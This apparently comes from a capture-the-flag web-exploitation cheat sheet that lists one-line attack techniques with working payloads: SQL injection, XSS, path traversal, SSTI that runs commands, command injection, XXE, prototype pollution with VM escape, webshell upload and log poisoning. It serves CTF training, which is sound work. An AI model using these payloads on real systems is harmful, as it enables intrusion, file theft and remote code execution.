CTF Web Exploitation

Quick reference for web CTF challenges. Each technique has a one-liner here; see supporting files for full details with payloads and code.

Additional Resources

server-side.md - Server-side attacks: SQLi, SSTI, SSRF, XXE, command injection, code injection (Ruby/Perl/Python), ReDoS, file write→RCE, eval bypass
client-side.md - Client-side attacks: XSS, CSRF, CSPT, cache poisoning, DOM tricks, React input filling, hidden elements
auth-and-access.md - Auth/authz attacks: JWT, session, password inference, weak validation, client-side gates, NoSQL auth bypass
node-and-prototype.md - Node.js: prototype pollution, VM sandbox escape, Happy-DOM chain, flatnest CVE
web3.md - Blockchain/Web3: Solidity exploits, proxy patterns, ABI encoding tricks, Foundry tooling
cves.md - CVE-specific exploits: Next.js middleware bypass, curl credential leak, Uvicorn CRLF, urllib scheme bypass

Reconnaissance

View source for HTML comments, check JS/CSS files for internal APIs
Look for
```
.map
```
source map files
Check response headers for custom X- headers and auth hints

Common paths:

/robots.txt

/sitemap.xml

/.well-known/

/admin

/api

/debug

/.git/

/.env

Search JS bundles:
```
grep -oE '"/api/[^"]+"'
```
for hidden endpoints
Check for client-side validation that can be bypassed
Compare what the UI sends vs. what the API accepts (read JS bundle for all fields)

SQL Injection Quick Reference

Detection: Send

— syntax error indicates SQLi

' OR '1'='1                    # Classic auth bypass
' OR 1=1--                     # Comment termination
username=\&password= OR 1=1--  # Backslash escape quote bypass
' UNION SELECT sql,2,3 FROM sqlite_master--  # SQLite schema
0x6d656f77                     # Hex encoding for 'meow' (bypass quotes)

See server-side.md for second-order SQLi, LIKE brute-force, SQLi→SSTI chains.

XSS Quick Reference

html

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Filter bypass: hex

\x3cscript\x3e

, entities

&#60;script&#62;

, case mixing

<ScRiPt>

, event handlers.

See client-side.md for DOMPurify bypass, cache poisoning, CSPT, React input tricks.

Path Traversal / LFI Quick Reference

../../../etc/passwd
....//....//....//etc/passwd     # Filter bypass
..%2f..%2f..%2fetc/passwd        # URL encoding
%252e%252e%252f                  # Double URL encoding
{.}{.}/flag.txt                  # Brace stripping bypass

Python footgun:

os.path.join('/app/public', '/etc/passwd')

returns

/etc/passwd

JWT Quick Reference

```
alg: none
```
— remove signature entirely
Algorithm confusion (RS256→HS256) — sign with public key
Weak secret — brute force with hashcat/flask-unsign
Key exposure — check
```
/api/getPublicKey
```
,
```
.env
```
,
```
/debug/config
```
Balance replay — save JWT, spend, replay old JWT, return items for profit

See auth-and-access.md for full JWT attacks and session manipulation.

SSTI Quick Reference

Detection:

{{7*7}}

returns

python

# Jinja2 RCE
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Go template
{{.ReadFile "/flag.txt"}}
# EJS
<%- global.process.mainModule.require('child_process').execSync('id') %>

SSRF Quick Reference

127.0.0.1, localhost, 127.1, 0.0.0.0, [::1]
127.0.0.1.nip.io, 2130706433, 0x7f000001

DNS rebinding for TOCTOU: https://lock.cmpxchg8b.com/rebinder.html

Command Injection Quick Reference

bash

; id          | id          `id`          $(id)
%0aid         # Newline     127.0.0.1%0acat /flag

When cat/head blocked:

sed -n p flag.txt

awk '{print}'

tac flag.txt

XXE Quick Reference

xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

PHP filter:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">

Code Injection Quick Reference

Ruby
instance_eval
: Break string + comment:

VALID');INJECTED_CODE#

Perl
open()
: 2-arg open allows pipe:

|command|

JS
eval
blocklist bypass:

row['con'+'structor']['con'+'structor']('return this')()

PHP deserialization: Craft serialized object in cookie → LFI/RCE

See server-side.md for full payloads and bypass techniques.

Node.js Quick Reference

Prototype pollution:

{"__proto__": {"isAdmin": true}}

or flatnest circular ref bypass VM escape:

this.constructor.constructor("return process")()

→ RCE Full chain: pollution → enable JS eval in Happy-DOM → VM escape → RCE

See node-and-prototype.md for detailed exploitation.

Auth & Access Control Quick Reference

Cookie manipulation:
```
role=admin
```
,
```
isAdmin=true
```
Host header bypass:
```
Host: 127.0.0.1
```
Hidden endpoints: search JS bundles for
```
/api/internal/
```
,
```
/api/admin/
```
Client-side gates:
```
window.overrideAccess = true
```
or call API directly
Password inference: profile data + structured ID format → brute-force
Weak signature: check if only first N chars of hash are validated

See auth-and-access.md for full patterns.

File Upload → RCE

.htaccess

upload:

AddType application/x-httpd-php .lol

+ webshell

Gogs symlink: overwrite
```
.git/config
```
with
```
core.sshCommand
```
RCE
Python
```
.so
```
hijack: write malicious shared object + delete
```
.pyc
```
to force reimport
ZipSlip: symlink in zip for file read, path traversal for file write
Log poisoning: PHP payload in User-Agent + path traversal to include log

See server-side.md for detailed steps.

Multi-Stage Chain Patterns

0xClinic chain: Password inference → path traversal + ReDoS oracle (leak secrets from

/proc/1/environ

) → CRLF injection (CSP bypass + cache poisoning + XSS) → urllib scheme bypass (SSRF) →

.so

write via path traversal → RCE

Key chaining insights:

Path traversal + any file-reading primitive → leak
```
/proc/*/environ
```
,
```
/proc/*/cmdline
```
CRLF in headers → CSP bypass + cache poisoning + XSS in one shot
Arbitrary file write in Python →
```
.so
```
hijacking or
```
.pyc
```
overwrite for RCE
Lowercased response body → use hex escapes (
```
\x3c
```
for
```
<
```
)

Useful Tools